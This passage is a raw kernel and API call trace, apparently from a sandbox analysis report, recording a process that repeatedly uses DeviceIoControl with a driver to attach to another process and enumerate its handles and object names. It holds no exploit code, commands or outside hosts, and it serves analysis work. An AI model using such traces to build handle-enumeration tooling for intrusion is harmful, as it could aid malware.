(Object=0xfffffa8002f2c220) returned 0x12 [0104.207] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.207] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.207] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.207] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0104.207] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.207] PsAcquireProcessExitSynchronization () returned 0x0 [0104.207] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.207] ObReferenceObjectByHandle (in: Handle=0x25c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800324b970, HandleInformation=0x0) returned 0x0 [0104.207] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.207] PsReleaseProcessExitSynchronization () returned 0x2 [0104.207] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.207] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.208] ObfDereferenceObject (Object=0xfffffa800324b970) returned 0x20 [0104.208] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.208] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.208] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.208] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xc8, lpOverlapped=0x0) returned 1 [0104.208] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.208] PsAcquireProcessExitSynchronization () returned 0x0 [0104.208] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.208] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003173b80, HandleInformation=0x0) returned 0x0 [0104.208] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.208] PsReleaseProcessExitSynchronization () returned 0x2 [0104.208] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.208] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.208] ObfDereferenceObject (Object=0xfffffa8003173b80) returned 0x12 [0104.208] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.208] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.208] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.208] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0104.208] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.208] PsAcquireProcessExitSynchronization () returned 0x0 [0104.208] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.208] ObReferenceObjectByHandle (in: Handle=0x264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800296aa20, HandleInformation=0x0) returned 0x0 [0104.208] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.208] PsReleaseProcessExitSynchronization () returned 0x2 [0104.208] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.208] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.209] ObfDereferenceObject (Object=0xfffffa800296aa20) returned 0x12 [0104.209] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.209] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.209] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.209] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.209] PsAcquireProcessExitSynchronization () returned 0x0 [0104.209] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.209] ObReferenceObjectByHandle (in: Handle=0x2ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.209] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.209] PsReleaseProcessExitSynchronization () returned 0x2 [0104.209] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.209] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.209] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.209] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.209] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.209] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.209] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.209] PsAcquireProcessExitSynchronization () returned 0x0 [0104.209] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.209] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.209] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.209] PsReleaseProcessExitSynchronization () returned 0x2 [0104.209] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.209] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.209] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.209] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.209] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.209] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.209] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0104.209] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.209] PsAcquireProcessExitSynchronization () returned 0x0 [0104.209] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.210] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0104.210] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.210] PsReleaseProcessExitSynchronization () returned 0x2 [0104.210] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.210] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.210] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0104.210] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.210] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.210] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.210] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0104.210] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.210] PsAcquireProcessExitSynchronization () returned 0x0 [0104.210] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.210] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0104.210] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.210] PsReleaseProcessExitSynchronization () returned 0x2 [0104.210] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.210] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.210] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0104.210] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.210] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.210] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.210] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0104.210] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.210] PsAcquireProcessExitSynchronization () returned 0x0 [0104.210] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.210] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0104.210] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.210] PsReleaseProcessExitSynchronization () returned 0x2 [0104.210] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.210] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.210] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0104.210] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.211] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.211] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0104.211] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.211] PsAcquireProcessExitSynchronization () returned 0x0 [0104.211] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.211] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0104.211] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.211] PsReleaseProcessExitSynchronization () returned 0x2 [0104.211] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.211] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.211] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0104.211] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.211] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.211] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0104.211] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.211] PsAcquireProcessExitSynchronization () returned 0x0 [0104.211] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.211] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0104.211] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.211] PsReleaseProcessExitSynchronization () returned 0x2 [0104.211] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.211] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.211] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0104.211] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.211] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.211] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.211] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.211] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.211] PsAcquireProcessExitSynchronization () returned 0x0 [0104.211] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.211] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0104.212] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.212] PsReleaseProcessExitSynchronization () returned 0x2 [0104.212] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.212] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.212] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0104.212] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.212] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.212] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0104.212] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.212] PsAcquireProcessExitSynchronization () returned 0x0 [0104.212] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.212] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0104.212] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.212] PsReleaseProcessExitSynchronization () returned 0x2 [0104.212] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.212] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.212] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0104.212] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.212] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.212] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0104.212] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.212] PsAcquireProcessExitSynchronization () returned 0x0 [0104.212] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.212] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0104.212] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.212] PsReleaseProcessExitSynchronization () returned 0x2 [0104.212] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.212] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.212] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0104.212] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.212] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.212] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.212] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0104.213] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.213] PsAcquireProcessExitSynchronization () returned 0x0 [0104.213] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.213] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0104.213] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.213] PsReleaseProcessExitSynchronization () returned 0x2 [0104.213] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.213] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.213] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0104.213] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.213] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.213] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.213] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0104.213] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.213] PsAcquireProcessExitSynchronization () returned 0x0 [0104.213] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.213] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0104.213] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.213] PsReleaseProcessExitSynchronization () returned 0x2 [0104.213] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.213] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.213] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x21 [0104.213] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.213] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.213] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.213] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, 